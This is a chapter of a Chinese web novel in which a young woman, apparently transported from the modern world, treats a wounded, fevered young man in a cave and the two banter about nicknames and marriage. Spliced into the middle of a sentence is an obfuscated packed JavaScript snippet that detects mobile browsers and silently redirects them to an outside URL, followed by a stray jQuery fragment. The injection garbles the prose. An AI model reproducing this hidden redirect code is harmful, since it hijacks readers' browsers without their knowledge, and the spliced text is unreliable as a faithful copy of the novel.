苏樨按着刘大夫说的教程准备给姬玉衡处理伤口,一手是金疮药的药罐,一手是装着水和几片树叶的锅。
她扬着下巴指了指姬玉衡手里的出诊单,“帮忙收一下,我怕我到处跑动献给山神了。”
姬玉衡闻言,将单子塞到了靴子的夹层里。
“刘大夫暂且教了我如何处理外伤,我第一次上手不太利索,你忍着点。”
苏樨走上前,双脚跨立在姬玉衡身上,再蹲下。
这“过分不雅”的姿势让后者眉头紧皱。
苏樨疑惑道:“我都还没碰到你,你怎么一副很痛的样子?”
姬玉衡深深吸了一口气,闭上了双眼,靠在石壁上,一副任君折腾的模样。
苏樨用清水擦拭掉他伤口周围的血迹,再按照大夫的吩咐清完创面,倒了很多金疮药到他肩膀的伤口上。
伤口上的痛觉让姬玉衡立刻睁开了双眼,对上苏樨龇牙咧嘴的“痛苦”表情,他不由道:“这看起来更像是你受伤了。”
苏樨额头有点冒汗,也根本听不进人家在跟她开玩笑转移注意力,只道:“你别说话,我本来对着你就紧张,没事长这么惊心动魄干什么?”
姬玉衡:“……”
这丫头。
苏樨第一次干这种活,紧张的要命,等敷上涂药的树叶,才松了一口气,腿曲得都有些发麻。她想站起来,双腿发软一下子坐了下去。
姬玉衡在她跌坐下来前,右手扶住了她的左大腿,左手托住了她的臀。
苏樨只往后跄了一下。
待到她站稳以后,两个人面面相觑。
这动作有点……越界!
苏樨脸上以肉眼可见的速度飞起一片红霞,片刻后扶着石壁慢慢站起。突然而来的身体接触,让她大脑充血,直接恢复出厂设置,也不会说话了。
姬玉衡即刻松开了手,左肩膀的伤因为刚才使劲托住苏樨而渗出了血。
苏樨指了指他肩膀,试图缓解尴尬和害羞,“这又出血了,咋办?”
“不碍事。”
苏樨拍了拍胸膛,“吓死我了,我以为我要坐断你另一条腿……”
姬玉衡看着她窘迫羞赧的样子,淡淡笑了一声,“那以后民间会流传鸡腿姑娘的传说。”
鸡腿?跟鸡腿有啥关系?
苏樨道:“这称号人家一听就知道我是个憨憨吃货,好没面子。”
“鸡腿女侠?”
“有区别吗?就不能来点雅称?”
“雪腴仙子。”
“什么鱼?一天蚂蚱,一天鸡腿,一天鱼,你非要跟飞禽走兽过不去了是吧?”苏樨不满,“不行,你明天就得叫我仙子!”
抓狂的苏樨迅速忘记了刚才那份尴尬。
姬玉衡对着即将暴走的苏樨笑出了声,眉如弯月,眸似星辰,笑意盈盈流泻而出。
苏樨对眼前这惊艳绝伦的笑容没有丝毫抵抗力,呆住了片刻,连忙拍了两下自己发烫的脸颊,“我去煎药。”
姬玉衡的目光随着这个瘦小忙碌的身影移动,勾起唇角。
兴许是大难不死,劫后余生,他竟然有一瞬间,心软了。
晚上苏樨终于坐下来,终于能有空从凌乱的日常生活中思考自己的处境。她靠近篝火,明灭的火光在那张小脸上晃荡,顿时显了几分不合年纪的忧郁。
她不懂什么契机会将她带到这里,也不知这里到底是不是梦境。
现在有一点喘息的时间,她突然伤感起来,且不说人生地不熟,光是自己从此要和朋友家人分别,就够喝几壶的了。
她不知道自己怎样来的。
也不知道自己该怎么回去。
她最后一眼是自己倒在马路边,想回去其实有点难……
“苏樨。”姬玉衡好听的声音在空洞的山洞里仿佛加了混响,动听招人,把苏樨的魂给招回来了。
苏樨回过来头,安安静静地把他看着,慢慢地,她脸上不自觉地挂上了对美色的痴笑。
姬玉衡是看她情绪不对才开口唤她的,还真没什么事。
但苏樨回头瞧见自己的脸便恢复了神采,想到自己的脸还能有这“妙手回春”的妙用,他无奈之余颇感欣慰。
最终他开口问道:“明早吃什么?”
苏樨哼道:“本仙子要喝琼浆玉露,蚂蚱还是吃草吧!”
姬玉衡看她鼓着腮帮子躺下,不由得笑了。
苏樨哪里真舍得他吃草。
她大清早醒来就开始煮街上买的生馄饨,食物香飘四溢,她一边吞咽口水一边道:“小哥哥,今天我们有正餐吃了!快起来洗漱吃馄饨!”
她等了好久,没听见对方的回答。往常这小子耳朵可灵了,她稍微出点声就醒了,今天怎么没吭声?
苏樨回过头,发现小哥哥一动不动地躺在那里,脸色煞白煞白的。
不会挂了吧!
昨天刚上了药啊!
昨晚还生龙活虎地跟她扯什么鸡腿仙子的称号。
苏樨凑上前探了探姬玉衡的鼻息,发现他气息微弱,又摸了摸他的额头——小哥哥开始发烧了。
后来一整天,苏樨都在给姬玉衡清洗伤口,上药包扎,还一直给他擦身进行物理降温。她忙得满头大汗,又借泉水给自己擦了擦身子,最后才胡乱吃下已经坨掉的馄饨。
累了一整天,哪怕馄饨已经变成了糊糊,肠胃的舒适感也让苏樨无比感叹。“民以食为天,终于有活过来的感觉了。仙子果然还是要食人间烟火!”
她吃饱犯困就直接躺在姬姬玉衡身旁睡着了。
苏樨是被一个噩梦给吓醒的,吓得直接坐了起来,扭头一看躺在自己身侧赤坦半身的美男子,噩梦的阴影瞬间散去了。
“这腹肌,这劲腰……”
前天小哥哥扶着她的大腿,她当时太紧张了,没调戏回来实在太亏,不摸回来岂不是亏本买卖?
苏樨一边给自己的“本色”找理由,一边趁人之昏上手摸了两把姬玉衡精壮结实的腹肌,手感有点好,她又摸了两把。
苏樨一边摸一边喃喃,“再摸下去我的妇道要守不住了。”
外头天已经微微亮,苏樨去洗了把脸醒醒脑子,重新打水来。
因为早上一睁眼大饱眼福,此刻她已经放飞自我了。她下山去田里捡了稻草,又拾了柴火放外头晒,生火烧水哼着歌,活在此刻也快活。
不一会儿,她琢磨起来,“小哥哥可不能死,这个身材这个颜值要是死了太可惜了,想想,这要是跳艳舞,扭着小腰,这若隐若现的腹肌……”
她捂住了自己的脸:“苏樨啊,少儿不宜啊。”
反正他也还没醒。
要不再摸一把?
她不经意地回头看了一眼那边的美男,嘎?
姬玉衡那双明亮的眸子正一瞬不瞬地盯着她。
苏樨一顿心虚,都听见了?
“水。”姬玉衡的声音沙哑微弱。
姬玉衡低头喝水时,苏樨想探下他的额头,姬玉衡下意识扭头避开了。
苏樨又去探他的额头,趁他扭头之前捧住了他的脸,“别动,我看看烧退没。”
苏樨用手背探了探,另一只手贴住自己的额头,确定他退烧以后才松开,转而又去检查他的伤
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16412181|184639||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
口。“刘大夫开的那药粉是真不错,这伤口惨不忍睹都能这么快结痂。”
对于她的强制性检查,姬玉衡没有表现出任何抗拒,他只仰着头定定地看着她,眼神清澈,一脸人畜无害,贼像苏樨以前养的大金毛。
苏樨摸了摸他的脑袋,道:“你像我养的大狗。”
姬玉衡:“……”没反驳、没反对、没反抗。
苏樨就开始得寸进尺,“我家大狗叫小花,我昨天也算额外救了你一命,我提个要求,以后叫你小花?”
姬玉衡敛了敛眸子,眼神幽幽地,叫苏樨背上一阵汗毛竖立。
狗屁,这眼神,哪里是可爱暖心的大金毛,分明是披着犬皮的狼。
姬玉衡摇头,“一码事归一码事,得叫玉衡哥哥。”
苏樨一向很好说话,“好好好,玉衡小哥哥,我额外救了你一命,你打算怎么报答我?”
姬玉衡微微弯起的眉眼,灿若星月,“我如今身无他物,唯有孑然一身,只能以身相许,正好离你圆满美好的人生还差个夫君,如何?”
苏樨原本去盛粥,因为粥太烫,听到这句话差点把手里的粥打翻了。
她虽然“好色”,但仅仅敢局限于叶公之好。真正要把这种事情放到台面上来讲时,她瞬间又变成了一个缩头乌龟,防御状态下躲在龟壳里计算自己被伤害的概率。
于是这件事上苏樨第一反应是玩笑。
她一脸不可思议地看着姬玉衡,“玉衡小哥哥,你长得这么帅,我会当真的。”
姬玉衡应了一声。苏樨的反应在意料之中。
他就是想起山神庙里苏樨叽里咕噜说了一堆话,诈她一下罢了。
苏樨把粥递给他,那张可爱的小脸无比认真,“一看你就是那种让女人投怀送抱的祸水,长得太招蜂引蝶,还容易朝三暮四,我看看就行了,我这么踏实这么老实,你明显不适合我。”
“你老实?”
“我哪里不老实?”
姬玉衡真想提醒她,他昏迷时只是醒不来,并不是对外界无知无感。
但他没有戳穿苏樨,只问道:“你这话都跟谁学的?”
“哪里用学,看看不就懂了。”
“我如今身残,是个废人。哪会肖想什么莺莺燕燕的。人家也只会因这腿疾而弃我而去。”
“我不信,哪怕你残疾,你这张脸也够用了。”
“双腿残废,重伤不治,以后就是个累赘。”
“但你有钱。”
“钱都给你了。”
苏樨这才想起自己身上的荷包,取下来拿了几个碎银子以后再递给他,“你先保管大钱。回头我问你要。”
姬玉衡收下了。
“那,”苏樨无比丝滑地转回了原话题,“我知道你们城里人三妻四妾,我不接受。”
“我有一妻足矣。”
苏樨狐疑:“真的假的?你这样你爹娘不会骂你吗?”
“爹娘双亲早已不在。”
“你是认真的?”苏樨开始怀疑了。
“你说呢?”姬玉衡回了一个意味深长的笑容。
“可是你把以身相许说的那么容易,这可是终身大事!”苏樨确定且暴走,“又在耍我玩呢,耍我好玩呢?”
对着这张笑脸,苏樨打也不是,骂也不是。
最后她无能狂怒:“面壁思过!”
姬玉衡闻言还真听话地转过身,背对着她面壁去了。
民以食为天,她倒是懂。
一夫一妻,她倒是要求高。
一言一行出格得很,这丫头究竟什么来头?
……